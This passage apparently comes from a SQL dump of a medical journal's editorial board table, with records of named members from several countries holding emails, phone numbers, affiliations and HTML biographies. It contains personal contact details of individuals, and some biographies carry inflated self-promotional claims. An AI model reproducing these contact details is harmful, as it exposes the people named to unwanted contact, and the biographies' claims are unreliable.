Austria, Czech Republic, Hungary, Poland, South Africa, Egypt, Brazil, Spain, Portugal, Mexico, Japan, Singapore, Malaysia, Thailand, Taiwan, Hong Kong, South Korea, China, India, Qatar, United Arab Emirates, etc. as research fellow, sabbatical and volunteer researcher or visitor and so on heretofore. He has a history of several years of teaching for college students and various disciplines and trends in different universities. Moreover, he has been a senior advisor in various industry and factories.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is expert in many computer programs and programming languages. Hitherto, he has authored more than twenty books and book chapters in different fields of Chemistry. Syne, he has been awarded more than nine hundreds reputed international awards, prizes, scholarships and honors. Heretofore, he has multiple editorial duties in many reputed international journals, books and publishers. Hitherward, he is a member of more than three hundreds reputed international academic&ndash;scientific&ndash;research institutes around the world. It should be noted that he is currently the President of American International Standards Institute (AISI), Irvine, California, USA and also Director of the BioSpectroscopy Core Research Laboratory at California South University (CSU), Irvine, California, USA.</span></p>\r\n',1,'2018-08-04 14:56:04','2018-08-04 14:59:14',1),(234,31,20,'1533627859.png','Imene Ksibi Ben Salem','imeneksibibs@yahoo.fr','00216 54428016','Department of physical and rehabilitation Medicine','Editorial board member','Tunisia','Military Tunis Hospital','03','',1,'2018-08-07 13:14:19','2018-08-07 13:14:19',1),(235,24,20,'1533628279.jpg','Medhat Abdelmalek','malek_clinic@yahoo.com','+9626- 4648317 ','Director ','Editorial board member','Jordan','Dr. Malek Cosmetic, Laser and Skin Clinic','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Medhat Abdel Malek received his specialty degree from the University of London, Saint John&rsquo;s hospital institute of dermatology, UK. He is the founder of laser associate group&nbsp; in Jordan , Reviewer at &lsquo;Dermatologic Therapy&rsquo;, Allergan Local Country and Middle-East Mentor, Annual &nbsp;Professor of dermatology at Marconi University, Italy and author of&nbsp; few book chapters. He is a Member of several American and European dermatological societies. Additionally Dr Medhat is a reputable late lecturer at the department of dermatology, university of Jordan and a late board examiner at the Jordan Medical Council, late vice President of the Pan Arab League of Dermatology and Venereology&nbsp; and the Late Chairman of the Jordanian Society of Dermatology and Venereology.</span></p>\r\n',1,'2018-08-07 13:21:18','2018-08-07 13:21:18',1),(236,25,20,'1533628575.jpg','Jie Zhou','jiezhou198208@126.com','+8613880750750','Doctor degree in management science ','Editorial board member','China','Sichuan Normal University','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Jie Zhou, received the Doctor degree in management science from Southwest Jiaotong University and received the Master degree in applied mathematics from Sichuan Normal University, Chengdu, China. He is currently a associate professor of Sichuan Normal university. He also is the author or coauthor of more than 10 journal papers. He currently presides over the Youth Fund of the National Natural Science Foundation of P.R.China.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><em>Research interests</em></strong>?Healthcare operations management (using revenue management and queueing theory).</span></p>\r\n',1,'2018-08-07 13:26:14','2018-08-07 13:26:14',1),(237,25,20,'1533628831.jpg','Francisco Epelde','fepelde@gmail.com','652508832','Medical Coordinator. Short Stay Unit','Editorial board member','Spain','Hospital de Sabadell. Consorci Hospitalari i Universitari Parc Taulí','06','',1,'2018-08-07 13:30:30','2018-08-07 13:30:30',1),(238,32,20,'1533790999.jpg','Bruno Jorge Pereira','brunoalexpereira@gmail.com','','Faculty of Health Sciences','Editorial board member','Portugal','Universidade da Beira Interior','05','',1,'2018-08-09 10:33:21','2018-08-09 10:33:21',1),(239,32,20,'1533791811.jpg','Sabah Mohamed Alharazy','sabah_alharazy@yahoo.co.uk','','Department of Medicine','Editorial board member','Malaysia','Universiti Kebangsaan Malaysia Medical Centre','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Sabah received her M.Med.Sc and Ph.D degrees in medicine from the National University of Malaysia. She has good records in research and publication with a good number of first authored, peer reviewed publications. She has also reviewed several scientific papers for more than 15 peer-reviewed medical journals. Currently, she is serving on the editorial boards for several medical journals. Her research interests include acute kidney injury, chronic kidney disease, lupus nephritis and novel biomarkers of renal function.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr.Sabah has presented a number of abstracts and posters at local and national meetings.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">She has also received awards including 3rd and 1st Prizes for presenting a prize winning paper at Malaysian Society of Nephrology in 2010 and 2013 respectively. She has also received sponsored Travel fellowship from International Society of Nephrology-Hong Kong Society of Nephrology-Asian-Pacific Society of Nephrology to attend the World Congress of Nephrology in 2013.</span></p>\r\n',1,'2018-08-09 10:46:51','2018-08-09 10:50:33',1),(240,32,20,'1533792477.jpg','Serena Maruccia','serena.maruccia.urologia@gmail.com','(+39) 3478450365','Deputy Chief at the Urology Division','Editorial board member','Italy','Istituti Clinici Zucchi','08','',1,'2018-08-09 10:57:56','2018-08-09 10:57:56',1),(241,32,20,'1533792908.gif','Flavia Cristina Morone Pinto','fcmorone@gmail.com','','Bachelor of Science in Nursing ','Editorial board member','Brazil','Federal University of Pernambuco','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Bachelor of Science in Nursing (RN-BSN) from Federal University of the State of Rio de Janeiro. Master of Science (M.Sc.), National School of Public Health/Oswaldo Cruz Foundation (FIOCRUZ).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Doctoral Urogenital Research (Ph.D.), Postgraduate Program in Physiopathology and Surgical Sciences, Urogenital Research Unit /UERJ, emphasis on studies of radioprotective substances.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Postdoctoral degree in Surgery, Postgraduate Program in Surgery, Federal University of Pernambuco.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Adjunct Professor, Academic Center of Vitoria, Nutrition Center, Public Health course at the Federal University of Pernambuco, UFPE/PE, Brazil. Researcher collaborator, Nucleus of Experimental Surgery, Department of Surgery and National School of Public Health, Oswaldo Cruz Foundation, ENSP/FIOCRUZ.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Experience in development of model experimental designs and clinical trials in surgery.</span></p>\r\n',1,'2018-08-09 11:05:08','2018-08-09 11:05:08',1),(242,35,20,'1533793862.jpg','Farhood  Golmohammadi','FARHOOD.GOL@GMAIL.COM','00983145245914','Assistant Professor, Department of   Agricultural Extension and Education','Editorial board member','Iran','Islamic Azad University','29','',1,'2018-08-09 11:21:03','2018-08-09 11:21:03',1),(243,23,20,'1533794081.png','Alfio Ferlito','alfio.ferlito@uniud.it','','Department of Otolaryngology','Editorial board member','Italy','University of Udine School of Medicine','05','<p>Formerly Director of the Department of Surgical Sciences at the University of Udine School of Medicine from 2003 to 2009 and Professor and Chairman of the ENT Clinic at the same University from 1997 to 2013. He graduated in medicine at the University of Bologna in 1968. He completed his residence programme in otolaryngology and subsequently in pathology. He worked at the ENT Department of&nbsp;&nbsp; Padua University from 1970 to 1997. Since 2009 he is the Coordinator of the International Head Neck Scientific Group (www.IHNSG.com).</p>\r\n\r\n<p>Professor Ferlito has collaborated in writing articles, editorials, commentaries, Consensus statement Consensus statementconsensus statements, letters to the editor, special issues, book chapters and books with 669 international experts. He has edited a three-volume book entitled <em>Cancer of the Larynx</em> (CRC Press, Boca Raton, 1985) and three other books entitled <em>Neoplasms of the Larynx</em> (Churchill Livingstone, Edinburgh, 1993), <em>Surgical Pathology of Laryngeal Neoplasms</em> (Chapman and Hall, London, 1996) and <em>Diseases of the Larynx</em> (Arnold, London, 2000), and co-authored two books entitled <em>Granulomas and Neoplasms of the Larynx</em> together with Professor Imrich Friedmann (Churchill Livingstone, Edinburgh, 1988) and <em>Surgery for Cancer of the Larynx and Related Structures</em> together with Dr. Carl E. Silver (Saunders, Philadelphia, 1996). He is editor with Dr. Marvin P. Fried of the third edition of a two-volume book entitled <em>The Larynx </em>(Plural Publishing, San Diego, 2009) and with Drs. K. Thomas Robbins and Carl E. Silver of the book entitled <em>Neck Dissection - Management of Regional Disease in Head and Neck Cancer</em> (Plural Publishing, San Diego, 2010). He is Editor of four issues of <em>ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery.</em> Professor Ferlito has been author or co-author of 660 referred publications in 70 medical journals and 54 chapters in various books.</p>\r\n\r\n<p>He serves/served as editor, co-editor, assistant editor or reviewer for the following 742 journals: <em>The Lancet; The Lancet Oncology; Advanced Drug Delivery Reviews; </em><em>Nature Communications; </em><em>Nature Clinical Practice Oncology;</em> <em>Human Molecular Genetics;&nbsp; Clinical Cancer Research; BMC Medicine; Cancer; Acta Biomaterialia; </em><em>Clinical Epidemiology; </em><em>European Journal of Cancer; </em><em>International Journal of Cancer; </em><em>Expert Review of Molecular Diagnostics; </em><em>Biomarkers in Medicine; </em><em>Modern Pathology; Molecular Carcinogenesis; Oncotarget; Annals of Surgical Oncology;</em><em> Surgical Endoscopy; Cellular Physiology and Biochemistry; British Journal of Cancer; </em><em>FEBS Journal;</em><em> Radiotherapy and Oncology; Investigational New Drugs; </em><em>Thyroid; Cancers; </em><em>Journal of Pathology Research; Epigenomics; </em><em>Journal of the American College of Surgeons; Oral Oncology; European Journal of Surgical Oncology -The Journal of Cancer Surgery; European Journal of Endocrinology; Histopathology; Journal of the European Academy of Dermatology and Venereology; Head and Neck; Expert Opinion on Pharmacotherapy; PLOS ONE; </em><em>Future Oncology; </em><em>Pediatric Infectious Disease Journal; </em><em>Journal of Cancer Research and Clinical Oncology;</em> <em>International Journal of Molecular Sciences;</em> <em>Cancer Chemotherapy and Pharmacology; Biotechnic &amp; Histochemistry; Journal of Surgical Oncology; Histology and Histopathology; Respiratory Medicine; Experimental and Molecular Pathology;</em> <em>Immunotherapy;</em><em> Translational Oncology; Oral Diseases; </em><em>Cancer Medicine;</em><em> </em><em>BioMed Research International;</em><em> </em><em>Cell Biology International; </em><em>Anti-Cancer Drugs; Cell Biochemistry &amp; Function; Radiation Oncology; Future Virology; Langenbeck&#39;s Archives of Surgery; Expert Review of Anticancer Therapy; Journal of Neuroscience Methods; American Journal of Rhinology; Oncology; Cancer Detection and Prevention Journal; Expert Review of Gastroenterology &amp; Hepatology; Gene; Evidence-Based Complementary and Alternative Medicine; International Journal of Experimental Pathology; BMJ Open; </em><em>Clinical Interventions in Aging; </em><em>The Laryngoscope; PeerJ; International Journal of Computer Assisted Radiology and Surgery; Journal of Experimental and Clinical Cancer Research; </em><em>Drug Delivery;</em><em> BMC Health Services Research;&nbsp; Archives of Otolaryngology-Head and Neck Surgery; Virchows Archives; Journal of Voice; Journal of Allergy &amp; Therapy Current Opinion in Otolaryngology and Head and Neck Surgery; Clinical Otolaryngology; Clinical and Experimental Dermatology; Intervirology; Otolaryngology-Head and Neck Surgery; British Journal of Oral and Maxillofacial Surgery; European Journal of Internal Medicine; Journal of Geriatric Oncology; Journal of Oral and Maxillo-Facial Surgery; OncoTargets and Therapy; Cancer Biomarkers; European Archives of Oto-Rhino-Laryngology and Head &amp; Neck; </em><em>Archives of Otorhinolaryngology-Head &amp; Neck Surgery; </em><em>Patient Preference and Adherence; Therapeutics and Clinical Risk Management; Journal of Investigative Surgery; American Journal of Otolaryngology; Annals of Otology,&nbsp; Rhinology and Laryngology; Acta Otolaryngologica; Tissue and Cell; ORL Journal for Oto-Rhino-Laryngology, Head and Neck Surgery; Med One; Health; Folia Phoniatrica et Logopaedica; Journal of Cytology &amp; Histology; Advances in Therapy; Journal of Laryngology and Otology;</em> <em>Expert Review of Quality of Life in Cancer Care; Personalized Medicine; Ophtalmic Plastic and Reconstructive Surgery; Acta Odontologica Scandinavica; Yonsei Medical Journal; Auris Nasus Larynx; Journal of Otolaryngology - Head and Neck Surgery; Journal of Cancer Therapeutics &amp; Research; Ear, Nose and Throat Journal; African Journal of Pharmacy&nbsp; and Pharmacology; Clinical and Experimental Otorhinolaryngology; Journal of Analytical Oncology; Head and Neck Oncology; Operative Techniques in Otolaryngology-Head and Neck Surgery; Surgical Laparoscopy, Endoscopy &amp; Percutaneous Techniques; Journal of Medical Speech-Language Pathology; Journal of Cytology; ORL Update; Biomedical Research; &nbsp;Otolaryngology Journal Club Journal; Otorhinolaryngologica Nova; International Archives of Otorhinolaryngology; Indian Journal of Otology; Anales Otorrinolaringol&oacute;gicos del Per&uacute;; Applied Pathology; Head and Neck Diseases; Head and Neck Pathology; Medical Science Monitor; BioMed Central Ear Nose Throat Disorders; BioMed Central Cancer; European Journal of General Medicine; Journal of Laryngology and Voice; ORL Today; Focus on ORL; Acta Otorhinolaryngologica Italica; Asian Journal of Oral and Maxillofacial Surgery; Tumori; Chirurgia della Testa e del Collo; Giornale di Stomatologia e di Ortognatodonzia; ORL Digest; Arquivos de Otorrinolaringologia; Cancer Control: Journal of the Moffitt Cancer Center; World Journal of Surgical Oncology; International Journal of Surgery; Excerpta Medica; Neurology India; Nowotwory - Journal of Oncology; Journal of Oral Pathology and Medicine; Open Otorhinolaryngology Journal; Journal of Medical Case Reports; African Journal of Microbiology Research; Case Reports and Clinical Practice Review; Journal of Zhejiang University SCIENCE A and B; American Journal of Case Reports; The Open Surgical Oncology Journal; The Open Pain Journal; International Journal of Otolaryngology; Expert Opinion on Medical Diagnostics; The Open Plastic and Reconstructive Surgery Journal; Case Reports in Medicine; The Open Toxinology Journal; International Journal of Biomedical Science; Current Immunology Reviews; BMJ Point of Care; European Journal of General Medicine; Clinical Chemistry and Laboratory Medicine; Frontiers in Molecular Biology; Cases Journal; International Journal of Surgical Oncology; Journal of Cancer Research and Therapeutics; Indian Journal of Cancer; Journal of Chinese Clinical Medicine; Head and Neck Pathology; World Journal of Clinical Oncology; Journal of Environmental Protection; Surgical Science; The Asia-Pacific Journal of Endocrinology; World Journal of Otorhinolaryngology; International Journal of Surgery Case Reports; Oncology Reviews; Odontology;</em><em> </em><em>Surgical Techniques Development; World Journal of Translational Medicine; Acta Stomatologica Croatica; Clinical Investigation; Diagnostic and Therapeutic Endoscopy; World Journal of Anesthesiology; World Journal of Stomatology; World Journal of Surgical Procedures; International Scholarly Research Network (ISRN) Otolaryngology; Journal of Cancer Therapy; Journal of Solid Tumors; Journal of Oncology; Case Reports in Oncological Medicine; Recent Patents on Biotechnology;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Reports in Dentistry; World Journal of Methodology; Otolaryngology; Expert Opinion on Therapeutic Targets; Journal of Hand and Microsurgery; Journal of Clinical Medicine and Research; Journal of Skin Cancer; Clinical Anatomy; Case Reports in Anesthesiology; Life Sciences; British Journal of Medicine and Medical Research; Clinical and Experimental Medical Sciences; International Journal of Technology and Management; Hadhramout Journal of Medical Sciences; Chemotherapy Research and Practice; Frontiers in Internal Medicine; Rare Tumors; Journal of Otology and Rhinology; Journal of Integrated Omics; Advanced Studies in Medical Sciences; World Journal Pathology; International Journal of Otolaryngology Head and Neck Surgery; OA Case Reports;</em> <em>Journal of Oral and Maxillo-Facial Surgery, Medicine and Pathology; </em><em>The Open Access Journal of Science and Technology, World Journal of Medical and Surgical Case Reports; World Journal of Medical Research; Annals of Medical and Health Sciences Research; Journal of Basic and Reproductive Science; Pathology - Research and Practice; Journal of Tumor; International Journal of Clinical Medicine; Tanta Medical Journal; </em><em>Journal of Surgery; </em><em>Chronicles of Surgery; International Journal of Medical Sciences and Biotechnology; Journal of Medicine Research and Development; Ecancermedicalscience; Gland Surgery; Applied Scientific Reports; Journal of Gene Therapy; Pulmonology and Respiratory Research; Vaccines &amp; Vaccination; </em><em>Journal of Nasopharyngeal Carcinoma; Journal of Toxicology &amp; Health</em><em>; Enliven: Challenges in Cancer; IRED International Journals/Conferences; Journal of Otolaryngology; Melanoma Management; Journal of Psychology and Psychoterapy Research; SciTechnol; Journal of Clinical Case Reports; Annals of Otolaryngology and Rhinology;</em> <em>Annals of Maxillofacial Surgery;</em><em> Journal of Pediatric Neuroradiology; International Journal of Clinical Case Studies; Anaplastology; F1000Prime Reports;</em> <em>Austin Journal of Otolaryngology; Scientific Studies on Oncology; The International Journal of Biological Markers; Gastroenterology and Hepatology; Scientific Studies on Oncology (Zeal Scienza); The Journal of Dentist; The Open Biological Sciences Journal; The Open Cancer Journal; International Archives of Medicine; Expert Reviews; Surgery and Transplantation; Biomedicine Hub; Journal of Cytology and Tissue Biology; Canadian Research &amp; Development Center of Sciences and Cultures; International Journal of Clinical &amp; Experimental Otolaryngology; Journal of Biotechnology and Cell Biology; Integrative Cancer Science and Therapeutics; Chronic Diseases &ndash; International; Journal of International Research in Medical and Pharmaceutical Sciences; Jacobs Journal of Otolaryngology; Journal of Internal Medicine; Open Andrology Journal; Clinical Medical Reviews and Case Reports; Cancer Research Frontier; Cancer Research: Open Access Journal; Rare Cancers and Therapy; SM Journal of Oncology and Hematology; Archives of Otolaryngology and Rhinology; Case Studies in Surgery; Journal of Applied Oral Science; Spandidos Publications; Global Surgery; Archives of</em> <em>Clinical Pulmonology and Respiratory Care; Journal of Translational Science; Journal of Ophtalmology and Clinical Research; Journal of Pediatric Biochemistry; Journal of Otolaryngology and Rhinology; SM Journal of Clinical Pathology; Journal of Cancer and Clinical Oncology; Oncology Communications; Open Journal of Stomatology; Surgery Open Access; Otolaryngology - Open Journal; Journal of Lung Cancer Diagnostics &amp; Treatment; Journal of Cancer Science and Current Research: Open Access; Journal of Pediatric Genetics; Journal of Otolaryngology Open Access; Journal of Clinical Case studies; Journal of Otorhinolaryngology; SRL Surgery; SRL Oncology &amp; Hematology; Journal of Procedural Dermatology; Austin Journal of Cancer and Clinical Research; Annals of Hematology &amp; Oncology; Medical Reports &amp; Case Studies; Clinical Medical Journal; International Journal of Clinical Research &amp; Trials; Austin Journal of Dentistry; Journal of Respiratory Medicine: Current Research; Open Biological Science Journal; Austin Journal of Forensic Science and Criminology; SRL Cancer &amp; Cellular Biology; Integrative Radiation Oncology and Nuclear Medicine; Journal of Pulmonary and Critical Care Medicine; JBR Journal of Translational Clinical &amp; Experimental Oncology; Gavin Journal of Oncology Research and Therapy; Oncology Communications;</em> <em>Diagnostic Pathology; Austin Hypertension; Journal of Otolaryngology Advances; Scholars Report; Nuclear Medicine and Biomedical Imaging; Expert Opinion on Investigational Drugs; Spondidosis Publications; Madridge Journal of Otorhinolaryngology; Dentistry and Oral Medicine; Otolaryngology Clinics; JSM Surgical Oncology and Research; Clinics in Surgery; Otolaryngology Case Reports; Pain Management Clinics; Annals of Clinical Case Reports; Clinics in Oncology; Journal of Medicine and Surgery; Chemotherapy and Radiotherapy; Cancers &amp; Advanced Therapies; Cancer Management and Research; JSM Oro Facial Surgeries; The Scientific Pages of Oral Health;Emergency Surgery; Journal of Ear, Nose and Throat Disorders; Austin Pediatric Oncology; General Surgery; Journal of Otolaryngology and Reconstructive Surgery; Journal&nbsp; Clinics in Oncology - Chemotherapy and Radiotherapy; Oncology Case Reports; Journal Clinics in Surgery &ndash; Otolaryngology; Open Biological Sciences Journal; SciTz Clinical and Medical Oncology; SciTz Dentistry: Research &amp; Therapy; Journal of Case Reports in Medical Science;</em> <em>Austin Journal of Surgical Oncology; HSOA Journal of Otolaryngology, Head &amp;&nbsp; Neck Surgery; Cancer Biology &amp; Medicine;</em> <em>JSM Thyroid Disorders &amp; Management; Annals of Thyroid Research; Prime Research in Cancer; JSM Head &amp; Neck Cancer-Cases and Reviews; The Scientific Pages of Anesthesia and Pain Management; Journal of Medical Oncology and Therapeutics; Journal of Phonetics and Audiology; The Scientific Pages of Pulmonology; Heighpubs Otolaryngology and Rhinology; The Scientific Pages of Dermatology; SM Otolaryngology; Heighpubs Food and Nutrition Science; Journal of Cancer and Cure; Journal of Dentistry and Oral Biology; SM Journal of Clinical and Medical Imaging; Journal of General and Emergency Medicine; Current Updates in Otolaryngology; Heighten Journal of Pathology and Clinical Research; Heighten Anesthesia and Clinical Research ;Journal of Clinical Intensive Care and Medicine; Annals of Clinical Otolaryngology; Journal of Surgery &amp; Clinical Practice; SM Dentistry Journal; Kenkyu Journal of Cancers &amp; Advanced Therapies; Hematology &amp; Medical Oncology; Current Updates in Cancer Diagnosis and Treatment; Gavin Journal of Oncology Research; International Journal of Cancer Studies and Research; The Scientific Pages of Oral Cancer; Journal of Cancer and Cure; Journal of Surgical Oncology &amp; Clinical Practice; Integrative Cancer Biology and Research; The Scientific Pages of Brain Cancer; The Scientific Pages of Lung Cancer; Remedy Open Access Journal; JSM General Surgery: Cases and Images; Archives in Microbiology &amp; Immunology; Radiation Oncology - Remedy Open Access; The Scientific Pages of Forest Research; Open Access Journal of Dentistry; Open Access Journal of Pulmonology; Cancer Research - Open Journal; Jacobs Journal of Headache;Gavin Journal of Anesthesiology; Austin Hematology; Annals of Surgery and Perioperative Care; Journal of Respiratory Medicine and Lung Disease; Journal of Cancer Epidemiology &amp; Treatment; Mathews Journal of Surgery; Cancer Biology and Research; Journal of Otolaryngology Current Trends; The Scientific Pages of Physical Medicine; The Scientific Pages of Plant Pathology; Clinical Case Reports, Research &amp; Trials; Cancer Prognostics and Diagnostics ;&nbsp; JSM Head and Face Medicine; Journal of Hematology &amp; Multiple Myeloma; The Scientific Pages of Public Health; The Scientific Pages of Emergency Medicine; Journal of Otolaryngology: Research; Cancer Prevention: Current Research Journal; Clinical and Medical Oncology; Dentistry, Oral Disorders and Therapy; The Pulmonary &amp; Respiratory Research Journal; Clinical Medicine Research; Austin Oncology Case Reports; Current Updates in Clinical Pathology; Chemotherapy and Radiation Oncology; The Scientific Pages of Neuro Oncology; BAOJ Hematology; The Scientific Pages of Leukemia Research; Insights in Surgery; Insights in Head and Neck Cancer; Annals of Men&rsquo;s Health and Wellness;&nbsp; Pharmacology and Toxicology; American Research Journals; Austin Head and Neck Oncology; Austin Pathology; Journal of Gastroenterology, Liver &amp; Pancreatic Diseases; The Scientific Pages of Head and Neck Surgery; Source Journal of Medical Case Report; Austin Dental Sciences; Current Updates in Dentistry; EC Neurology; The Open Access Journal of Science and Technology; Elyns Journal of Surgery; Clinical Dermatology: Research and Therapy; Journal of Plastic Surgery and Modern Techniques; Chemical Biology &amp; Drug Design; The Scientific Pages of Oral and Maxillofacial Surgery; Annals of Surgery&nbsp; and Perioperative Care; Journal of Hematology and Serology; The Scientific Pages&nbsp; of Surgical Endocrinology;The Scientific Pages of Muskuloskeletal Surgery; The Scientific Pages of Anatomy and Physiology;-Annals of Clinical Pathology Research; Annals of Blood Research; International Journal of JENPUB Cancer Sciences; Annals Review of Hematology &amp; Oncology; Sensory System Journal; Austin Journal of Clinical Trials: Open Access; Journal of Clinical and Diagnostic Pathology; The Scientific Pages of Pathology; Journal of Surgical Techniques &amp; Procedures; The Scientific Pages of Laparoscopy; Dentistry &amp; Oral Medicine Case Report; Madridge Journal of Otorhinolaryngology;&nbsp; The Scientific Pages of Pediatric Surgery; Journal of Infectious &amp; Non Infectious Diseases; American Journal of Leukemia Research; Open Access Journal of Thyroid Research; Current Cancer Therapy Reviews; ESMO Open; Journal of Comprehensive Cancer Research; SRL Blood Disorders; Dove Medical Press; CNS Oncology; Open Journal for Blood Cancer; SRL Dentistry; SM Journal of Clinical Trials; The Scientific Pages of Endocrinology and Metabolism; Annals of Research Investigations and Outcomes; Annals of Research Investigations and Outcomes; Journal of Radiation Oncology &amp; Research; Chinese Journal of Dental Research; SM Clinical and Medical Oncology; Journal of Clinical &amp; Experimental Radiology; Chronicle Publishers; SRL Neurooncology and Brain Tumors; SRL Molecular Biomarkers &amp; Diagnosis; SRL Pulmonary and Respiratory Medicine; SRL Primatology; Current Applied Biomedical Sciences; SRL Veterinary Science &amp; Technology; SRL Nuclear Medicine &amp; Radiation Therapy; Mathews Journal of Otolaryngology ; SRL Pharmacology and Toxicology; Current Dentistry; Clinical Images &amp; Case Reports; Annals of Clinical Research and Trials; International Journal of JENPUB Dentistry and Oral Science; Otolaryngology - Remedy Open; Journal of Chronic Pain and Management; Journal of Surgery Forecast; Journal of Cancer Research Forecast; Journal of PeerScientist; International Journal of Radiology &amp; Radiation Therapy; Annals of Multiple Sclerosis and Related Disorders; Journal of Hematology and Oncology Forecast; International Journal of Endocrinology and Metabolism; Journal of Surgery and Acute Care; JSM Sexual Medicine; SRL Biology; Journal of Otolaryngology Forecast; Journal of Emergency Medicine Forecast; Journal of Pharmacovigilance; SM Journal of Minimally Invasive Surgery; Journal of Oncology Research Forecast; SM Pharmacology and Pharmaceutics Journal; Journal of Sarcoma Research; Global Journal of Otolaryngology; Neuro Immunology; Advances in Critical Care Medicine; SL Clinical and Medical Oncology; Journal of Family Medicine Forecast; Annals of Dentistry and Oral Disorders; SM Journal of Lung Pulmonary &amp; Respiratory Medicine; Experiments in Rhinology &amp; Otolaryngology; Future Science OA; Otolaryngology Current Trends; Journal of Nuclear Medicine &amp; Radiology; SM Dentistry &amp; Oral Disorders; Otolaryngology-Annals of Medical Case Reports; Journal of General Surgery; SM Journal of Sexually Transmitted Diseases; Advancements in Bioequivalence &amp; Bioavailability; SM Journal of Spine &amp; Neurosurgery; Journal of Cancer &amp; Metastasis Research; Journal of Gene Therapy and Research; SM Journal of Carcinogenesis &amp; Mutagenesis; Journal of Histology and Cell Biology; Journal of Pathology and Disease Biology; Annals of Otolaryngology; SM Thyroid Disorders and Therapy; Research Journal of ENT; Journal of Pathobiology and Physiology;&nbsp; Clinics in Oncology Research; Annals of Clinical Letters; Journal of Molecular and Cellular Biology Forecast; Journal of Surgery and Anesthesiology; Journal of Dentistry Forecast; Global Journal of Dermatology &amp; Venereology; World Journal of Surgery and Surgical Research; SM Pulmonology &amp; Clinical Research; Journal of Epidemiology and Public Health Reviews; POJ General Medicine; Journal of Surgery: Open Access; &nbsp;&nbsp;&nbsp;&nbsp; Journal of Cancer and Medical Oncology; Annals of Pulmonology and Clinical Research; ProClinS Surgery and Procedures; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jacobs Journal of Ophthalmology; Annals of Medical Case Reports; Clinical Anesthesia and Pain Management; Jacobs Journal of Neurology and Neuroscience; &nbsp; American Journal of Clinical Trials; American Journal of Genetics &amp; Genomics; Developments in Anaesthetics &amp; Pain Management; Asclepius Medical Case Reports; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Asia-Pacific Journal of Clinical Oncology; American Journal of Emergency &amp; Critical Care Medicine;</em> <em>Applied Clinical Pharmacology and Toxicology; Clinical Journal of Surgery; ARC Journal of Surgery; American Journal of Rare Disorders: Diagnosis &amp; Therapy; Journal of Oral Health and Dental Studies; International Journal of Cancer Science Research; Austin ENT: Open Access; Journal of Transdisciplinary Biomedicine; International Journal of Research on Internal Medicine; Journal of Molecular Pathology and Biochemistry; Med Cancer; American Journal of Epidemiology &amp; Public Health; Journal of Regional Anesthesia and Intensive Care; Journal of Nursing Sciences; International Journal of Fisheries and Aquatic Research; Virology &amp; Immunology Journal; Journal of Case Reports and Images; International Journal of Innovative Studies in Medical Sciences; Asclepius Medical Research and Reviews; Open Library of Clinical and Medical Case Reports; Health Care and Community Medicine; Medical Journal of Clinical Trials &amp; Case Studies; Journal of Community Medicine &amp; Public Health; International Journal of Bioremediation &amp; Biodegradation; Journal of Cosmetic and Laser Therapy; ProClinS Case Reports; F1000Research; Medical and Health Sciences; Clinics in Surgery Journal; International Journal of Medical &amp; Clinical Imaging; Oncology and Therapy; Journal of Clinical Case Reports and Review; Annals of Cell and Developmental Biology; Laboratory Cell Biological Technique; Journal of Cancer Clinical Research; Advancements in Bioequivalence &amp; Bioavailability; Cancer and Therapy; Vaccines &amp; Vaccination Open Access; International Journal of Geriatrics and Gerontology; Advanced Surgical Techniques and Procedures; American Research Journal of Otolaryngology; Australasian Medical Journal; Causes &amp; Treatments in Arthritis; SOA-Otolaryngology ENT Research; Research and Review Archives; International Journal of Experimental and Clinical Research; Journal of Oral Hygiene and Health; GSL Journal of Hematology; Journal of Cell Biology and Metabolism; Current Trends in Clinical Trial; Journal of Surgery and Practice; Scientia Ricerca; Journal of Orthodontics and Endodontics; Journal of Clinical Therapeutics and Diagnosis; Clinics in Medicine; International Journal of Biomechanics and Movement Science; SCIAEON Journal of Women&#39;s Health and Complications; Clinical and Medical Case Reports; Surgery &amp; Case Studies: Open Access Journal (SCSOAJ); Journal of Pediatric Dentistry &amp; Hygiene; Annals of Pharmaceutical Nanotechnology and Nanomedicine; Ear Nose and Throat (ENT) Open Access Open Journal; Journal of Lung; Annals of Short Reports; Opthalmology Case Reports;International Journal of Clinical Medicine Research; International Journal of Rhinology &amp; Otolaryngology; Journal of Anesthesia, Surgery and Operative Care; American Journal of Otolaryngology and Head and Neck Surgery; Journal of Tropical Medicine and Health; Journal of Otolaryngology and Neurotology; Journal of Current Research in Otolaryngology; Radiation Therapy - Clinics in Medicine Journal;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hemato Oncology; Journal of Laryngology, Rhinology &amp; Otology; Hematological Diseases and Therapies; Journal of Cancer and Therapeutic Interventions; Journal of Endocrinology and Disorders; Annals of Oncology Short Reports; SEJ ENT Disorders; Journal of Experimental Medicine and Biology; Current Medicine; Virology &amp; Disease; Journal of Pulmonology and Clinical Research;</em> <em>Cancer Clinics Journal; Journal of Pediatric Diseases; Mathews Journal of Cancer Science; Open Journal of Surgery; Journal of the Egyptian National Cancer Institute; Open Access Journal of Oncology; POJ Clinical Case Reports; Journal of Otolaryngology-ENT Research; Global Toxicology ; Medicine Research; Journal of Modern Medicinal Chemistry; General Surgery Open Access; Clinics of Oncology; Annals of Clinical and Medical Case Reports; United Journal of Otolaryngology; International Journal of Lungs &amp; Respiratory System; Cancer and Tumor Review; Journal of Otolaryngology Studies; Journal of Nursing and Healthcare Management; Bio Accent Open Access journal of Case Reports; International Journal of Disease Markers; Journal of Reconstructive Surgery &amp; Anaplastology; Big Data Analytics for Healthcare; Annals of Clinical Diabetes and Endocrinology; 